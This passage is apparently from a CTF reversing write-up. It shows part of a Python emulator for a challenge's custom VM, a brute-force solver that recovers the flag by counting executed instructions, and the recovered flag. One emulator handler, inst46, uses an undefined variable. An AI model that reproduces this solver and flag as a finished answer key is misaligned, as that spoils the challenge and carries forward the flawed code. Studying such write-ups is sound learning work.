class="params">(self)</span>:</span></span><br><span class="line"> self.push(len(self.stack))</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst59</span><span class="params">(self)</span>:</span></span><br><span class="line"> v1 = self.pop()</span><br><span class="line"> v2 = self.pop()</span><br><span class="line"> self.push(v1)</span><br><span class="line"> self.push(v2)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst24</span><span class="params">(self)</span>:</span></span><br><span class="line"> self.dword_33BC0 += <span class="number">1</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst46</span><span class="params">(self, )</span>:</span></span><br><span class="line"> self.push((self.pop() * arg1) & <span class="number">0xff</span>)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst43</span><span class="params">(self, )</span>:</span></span><br><span class="line"> arg1 = self.getb()</span><br><span class="line"> <span class="keyword">if</span> self.R7 != <span class="number">0</span>:</span><br><span class="line"> self.jmp(arg1)</span><br><span class="line"> self.R7 = <span class="number">1</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst42</span><span class="params">(self)</span>:</span></span><br><span class="line"> self.push((self.pop() + <span class="number">1</span>) & <span class="number">0xff</span>)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst38</span><span class="params">(self)</span>:</span></span><br><span class="line"> self.push(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst37</span><span class="params">(self)</span>:</span></span><br><span class="line"> self.push((self.pop() - <span class="number">1</span>) & <span class="number">0xff</span>)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst36</span><span class="params">(self)</span>:</span></span><br><span class="line"> self.log(<span class="string">'cmp'</span>)</span><br><span class="line"> arg1 = self.getb()</span><br><span class="line"> val = self.pop()</span><br><span class="line"> self.R7 = <span class="number">1</span> <span class="keyword">if</span> val == arg1 <span class="keyword">else</span> <span class="number">0</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">inst34</span><span class="params">(self)</span>:</span></span><br><span class="line"> arg1 = self.getb()</span><br><span class="line"> self.push((self.pop() + arg1) & <span class="number">0xff</span>)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">run</span><span class="params">(self)</span>:</span></span><br><span class="line"> instdict = {</span><br><span class="line"> <span class="number">11</span>:self.inst11,</span><br><span class="line"> <span class="number">57</span>:self.inst57,</span><br><span class="line"> <span class="number">48</span>:self.inst48,</span><br><span class="line"> <span class="number">51</span>:self.inst51,</span><br><span class="line"> <span class="number">17</span>:self.inst17,</span><br><span class="line"> <span class="number">56</span>:self.inst17, <span class="comment"># same</span></span><br><span class="line"> <span class="number">40</span>:self.inst40,</span><br><span class="line"> <span class="number">0</span>:self.inst0,</span><br><span class="line"> <span class="number">52</span>:self.inst52,</span><br><span class="line"> <span class="number">49</span>:self.inst49,</span><br><span class="line"> <span class="number">27</span>:self.inst27,</span><br><span class="line"> <span class="number">20</span>:self.inst20,</span><br><span class="line"> <span class="number">59</span>:self.inst59,</span><br><span class="line"> <span class="number">24</span>:self.inst24,</span><br><span class="line"> <span class="number">46</span>:self.inst46,</span><br><span class="line"> <span class="number">43</span>:self.inst43,</span><br><span class="line"> <span class="number">42</span>:self.inst42,</span><br><span class="line"> <span class="number">38</span>:self.inst38,</span><br><span class="line"> <span class="number">37</span>:self.inst37,</span><br><span class="line"> <span class="number">36</span>:self.inst36,</span><br><span class="line"> <span class="number">34</span>:self.inst34,</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span> self.ip < len(self.code):</span><br><span class="line"> inst = self.getb() - <span class="number">0x3f</span></span><br><span class="line"> <span class="keyword">if</span> inst <span class="keyword">not</span> <span class="keyword">in</span> instdict:</span><br><span class="line"> self.log(<span class="string">'Undefined instruction'</span>)</span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> instdict[inst]()</span><br><span class="line"> <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"> <span class="keyword">if</span> e.args[<span class="number">0</span>] == <span class="string">'exit'</span>:</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">raise</span> e</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> self.dword_33BC0</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">_bruteforce_flag</span><span class="params">(flag)</span>:</span></span><br><span class="line"> cntdict = {}</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> (i <span class="keyword">for</span> i, v <span class="keyword">in</span> enumerate(flag) <span class="keyword">if</span> v == <span class="number">0</span>):</span><br><span class="line"> <span class="keyword">for</span> ch <span class="keyword">in</span> CHARS:</span><br><span class="line"> flagcand = flag[::]</span><br><span class="line"> flagcand[i] = ch</span><br><span class="line"></span><br><span class="line"> vm = VirtualMachine(CODE, flagcand[::])</span><br><span class="line"> cntdict[tuple(flagcand)] = vm.run()</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> cntdict</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">bruteforce_flag</span><span class="params">(flag, prevcnt)</span>:</span></span><br><span class="line"> cntdict = _bruteforce_flag(flag)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> k <span class="keyword">in</span> (k <span class="keyword">for</span> k <span class="keyword">in</span> cntdict <span class="keyword">if</span> cntdict[k] > prevcnt):</span><br><span class="line"> cnt = cntdict[k]</span><br><span class="line"> <span class="keyword">if</span> cnt == <span class="number">100</span>:</span><br><span class="line"> print(bytes(k).decode(<span class="string">'ascii'</span>)[::<span class="number">-1</span>])</span><br><span class="line"> quit()</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> bruteforce_flag(list(k), cnt)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span><span class="params">()</span>:</span></span><br><span class="line"> flag = [<span class="number">0</span>] * FLAGLEN</span><br><span class="line"> bruteforce_flag(flag, <span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> main()</span><br></pre></td></tr></table></figure>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">% time ./bruteforce.py</span><br><span class="line">r_u_t34m_g473w4y</span><br><span class="line">./bruteforce.py 6.02s user 0.00s system 99% cpu 6.021 total</span><br><span class="line">%</span><br></pre></td></tr></table></figure>
<p>written by op(<a href="https://twitter.com/6f70" target="_blank" rel="external">@6f70</a>)</p>
</div>
<footer>
<div class="clearfix"></div>
</footer>
</div>
</article>
<nav id="pagination">
<div class="clearfix"></div>
</nav></div></div>
<aside id="sidebar" class="alignright">
<div class="search">
<form action="//google.com/search" method="get" accept-charset="utf-8">
<input type="search" name="q" results="0" placeholder="Suche">
<input type="hidden" name="q" value="site:binja.github.io">
</form>
</div>
<div class="widget tag">
<h3 class="title">Tags</h3>
<ul class="entry">
<li><a href="/tags/pwn/">pwn</a><small>1</small></li>
<li><a href="/tags/rev/">rev</a><small>1</small></li>
<li><a href="/tags/writeup/">writeup</a><small>2</small></li>
</ul>
</div>
</aside>
<div class="clearfix"></div>
</div>
<footer id="footer" class="inner"><div class="alignleft">
© 2017 binja
</div>
<div class="clearfix"></div></footer>
<script src="//ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script>
<script src="/js/jquery.imagesloaded.min.js"></script>
<script src="/js/gallery.js"></script>
<link rel="stylesheet" href="/fancybox/jquery.fancybox.css" media="screen" type="text/css">
<script src="/fancybox/jquery.fancybox.pack.js"></script>
<script type="text/javascript">
(function($){
$('.fancybox').fancybox();
})(jQuery);
</script>
</body>
</html>